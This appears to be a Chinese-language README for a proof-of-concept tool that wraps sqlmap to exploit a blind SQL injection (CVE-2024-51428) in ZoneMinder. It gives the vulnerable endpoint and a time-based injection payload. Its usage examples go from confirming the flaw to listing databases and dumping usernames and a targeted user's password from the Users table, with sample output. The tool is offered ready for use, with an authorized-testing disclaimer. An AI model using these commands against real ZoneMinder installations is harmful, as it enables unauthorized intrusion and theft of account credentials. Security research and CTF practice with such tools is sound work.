针对 ZoneMinder 中 CVE-2024-51428 的 sqlmap Python 封装器。
该工具可自动检测和利用 SQL 盲注 漏洞,同时保持输出简洁,聚焦于有用的数据。
该脚本会隐藏 sqlmap 日志,仅显示相关信息,例如:
这使得该工具非常适合 CTF 环境、演示和安全测试。
CVE: CVE-2024-51428
类型: 盲 SQL 注入
受影响软件: ZoneMinder
攻击向量: HTTP GET 参数
参数: tid
漏洞存在于以下端点:
/zm/index.php?view=request&request=event&action=removetag&tid=
tid 参数在被用于数据库查询之前未经过适当的过滤,允许攻击者注入 SQL 查询。
所使用的利用技术为 基于时间的盲 SQL 注入。
sqlmap 发现的示例载荷:
tid=1 AND (SELECT 3475 FROM (SELECT(SLEEP(5)))BZWD)
如果查询成功执行,该载荷会强制数据库休眠,从而确认 SQL 注入的存在。
如有需要,请安装 sqlmap:
sudo apt install sqlmap
基本语法:
python3 poc.py --url <TARGET_URL> -c '<ZMSESSID_COOKIE>'
使用此命令检查目标是否存在漏洞
示例:
python3 poc.py --url http://target.htb -c '151fvdqmjkhnkfat7l5epgmd22'
该利用工具需要一个有效的 ZoneMinder 会话 Cookie。
步骤:
Application → Cookies
ZMSESSID
-c 一起使用示例:
-c '151fvdqmjkhnkfat7l5epgmd22'
python3 poc.py --url http://target.htb -c 'COOKIE'
示例输出:
[*] Checking vulnerability...
Parameter: tid (GET)
Type: time-based blind
Payload: tid=1 AND (SELECT(SLEEP(5)))
[+] TARGET IS VULNERABLE TO BLIND SQL INJECTION
python3 poc.py --url http://target.htb -c 'COOKIE' -d
示例输出:
available databases [3]:
information_schema
mysql
zm
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm
示例输出:
Database: zm
Users
Events
Monitors
Storage
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users -f Username
示例:
+----------+
| Username |
+----------+
| admin |
| viewer |
+----------+
可以使用以下参数过滤行:
-ff <COLUMN> <VALUE>
示例:
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Password -ff Username mark
等效的 SQL:
WHERE Username='mark'
示例:
python3 poc.py \
--url http://target.htb \
-c 'COOKIE' \
-d -db zm -t Users \
-f Password \
-ff Username mark
内部执行的 sqlmap 命令:
sqlmap -D zm -T Users -C Password --where="Username='mark'" --dump
该脚本充当 sqlmap 的封装器。
内部执行的步骤:
/zm/index.php?view=request&request=event&action=removetag&tid=1
--threads=10
--technique=T
--batch
该工具专为以下用途而创建:
本项目仅供教育和授权安全测试之用。
作者不对任何滥用本工具的行为负责。
在测试任何系统之前,请务必获得适当授权。
安全研究 / CTF 工具